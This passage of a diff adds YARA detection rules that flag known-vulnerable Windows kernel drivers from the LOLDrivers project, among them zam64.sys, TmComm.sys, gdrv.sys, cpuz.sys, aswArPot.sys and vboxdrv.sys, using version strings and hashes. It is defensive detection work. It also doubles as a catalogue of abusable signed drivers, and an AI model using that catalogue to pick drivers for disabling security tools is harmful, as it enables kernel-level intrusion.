+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_E428 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f"
+		date = "2023-06-14"
+		score = 40
+		id = "3a87403b-9df1-566b-af2d-e22732584b63"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003900380034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_0909 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06"
+		date = "2023-06-14"
+		score = 40
+		id = "e1be6d99-bee6-5208-976b-04a2fde0602b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Huawei_Hwosec_Huaweimatebook_B179 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwOs2Ec7x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de"
+		hash = "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc"
+		date = "2023-06-14"
+		score = 40
+		id = "7fdaa5bb-7874-51cc-90a0-d718b5ad7ac8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480077004f0073003200450063 } /* FileDescription HwOsEc */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004800750061007700650069 } /* CompanyName Huawei */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077004f0073003200450063 } /* InternalName HwOsEc */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048007500610077006500690020004d0061007400650042006f006f006b } /* ProductName HuaweiMateBook */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480077004f0073003200450063002e007300790073 } /* OriginalFilename HwOsEcsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310036 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_A468 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9"
+		date = "2023-06-14"
+		score = 40
+		id = "ee20509d-fdf5-5c5a-8f49-5392c6f015ad"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f } /* FileDescription HpPortIo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e } /* CompanyName HPInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* InternalName HpPortIoxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f } /* ProductName HpPortIo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* OriginalFilename HpPortIoxsys */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_7661 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a"
+		date = "2023-06-14"
+		score = 40
+		id = "cf60dd6e-f13e-5498-b3e1-b28c4b469f10"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003200320039 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_8B92 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2"
+		date = "2023-06-14"
+		score = 40
+		id = "158dd78f-3665-59d6-8528-f4489791d55e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_881B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461"
+		date = "2023-06-14"
+		score = 40
+		id = "926f0aef-ede3-554e-874d-7b617efbf2bd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0033002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0033002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5192 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b"
+		date = "2023-06-14"
+		score = 40
+		id = "63cc2959-9cfa-575d-894f-fbb63349a4e7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_80A5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085"
+		date = "2023-06-14"
+		score = 40
+		id = "80e3827b-44e7-5b59-a7db-c7daf0e38664"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000390031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Microfocus_Microfocusxtier_5351 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c"
+		date = "2023-06-14"
+		score = 40
+		id = "e2d580c9-79e6-53f1-ab4a-77e2715b6f91"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200053006500630075007200690074007900200043006f006e00740065007800740020004d0061006e0061006700650072 } /* FileDescription XTierSecurityContextManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 } /* CompanyName MicroFocus */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 } /* ProductName MicroFocusXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightMicroFocusAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7882 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f"
+		hash = "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924"
+		date = "2023-06-14"
+		score = 40
+		id = "c367a41e-58e4-59cd-a3f4-dfcd001e7040"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_5FAD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36"
+		hash = "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6"
+		date = "2023-06-14"
+		score = 40
+		id = "95bb049c-cef2-5235-8e3d-ebe9591b7e27"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_A072 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4"
+		hash = "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b"
+		hash = "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d"
+		date = "2023-06-14"
+		score = 40
+		id = "caf170d7-172f-56eb-beae-0c40e7ac78fa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310036002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2A62 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8"
+		date = "2023-06-14"
+		score = 40
+		id = "7c67b2a6-a2da-56ce-8ed4-017838ea7673"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_AAA3 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c"
+		date = "2023-06-14"
+		score = 40
+		id = "9b0770d3-d004-552f-be65-6dcc14f06cc7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswvmmsys_Avastantivirus_3650 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswVmm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10"
+		date = "2023-06-14"
+		score = 40
+		id = "1b3abcb0-5317-58f0-bb7a-6bc1996483fa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00610076006100730074002100200056004d0020004d006f006e00690074006f0072 } /* FileDescription avastVMMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061007300770056006d006d002e007300790073 } /* InternalName aswVmmsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00610076006100730074002100200041006e0074006900760069007200750073 } /* ProductName avastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061007300770056006d006d002e007300790073 } /* OriginalFilename aswVmmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003300200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
